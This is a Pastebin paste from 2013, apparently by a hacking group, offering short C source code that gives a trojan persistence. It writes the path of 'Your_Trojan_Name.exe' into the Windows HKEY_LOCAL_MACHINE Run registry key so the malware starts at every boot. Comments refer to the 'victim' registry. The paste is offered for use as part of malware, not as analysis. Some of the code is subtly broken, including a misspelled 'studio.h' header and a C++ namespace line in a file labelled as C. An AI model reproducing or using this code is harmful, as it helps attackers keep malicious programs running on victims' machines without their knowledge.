Advertisement
Dr_FarFar

[+] Your Trojan iN Startup Win Reg Source Code | Dr.FarFar |

Sep 19th, 2013
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.82 KB | None | 0 0
  1. #include <studio.h>
  2. #include <windows.h>
  3. using namespace std;
  4. int main(){
  5.  
  6.     HKEY hkey;
  7.     LONG regOpenResult;
  8.     const char PATH[] = "C:\\[Path]\\Your_Trojan_Name.exe"; /*This is
  9.                                 The Path of
  10.                                  your Virus*/
  11.  
  12.     regOpenResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
  13.                      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
  14.                      0,
  15.                      KEY_ALL_ACCESS,
  16.                      &hkey);
  17.  
  18.     RegSetValueEx(hkey,
  19.               "Random Name", //This Is The Name That Shows Up In Victim Registry
  20.               0,
  21.               REG_SZ,
  22.               (BYTE*)PATH,
  23.               strlen(PATH));
  24.  
  25.     RegCloseKey(hkey);
  26.  
  27.     return 0;
  28. }
  29.  
  30.  
  31. #########################################################
  32.  
  33. All rights reserved (C) Egyptian Shell Team 2006-2014
  34. Mr.MaGMA - Dr.FarFar - th3 mast3r
  35.  
  36. #########################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement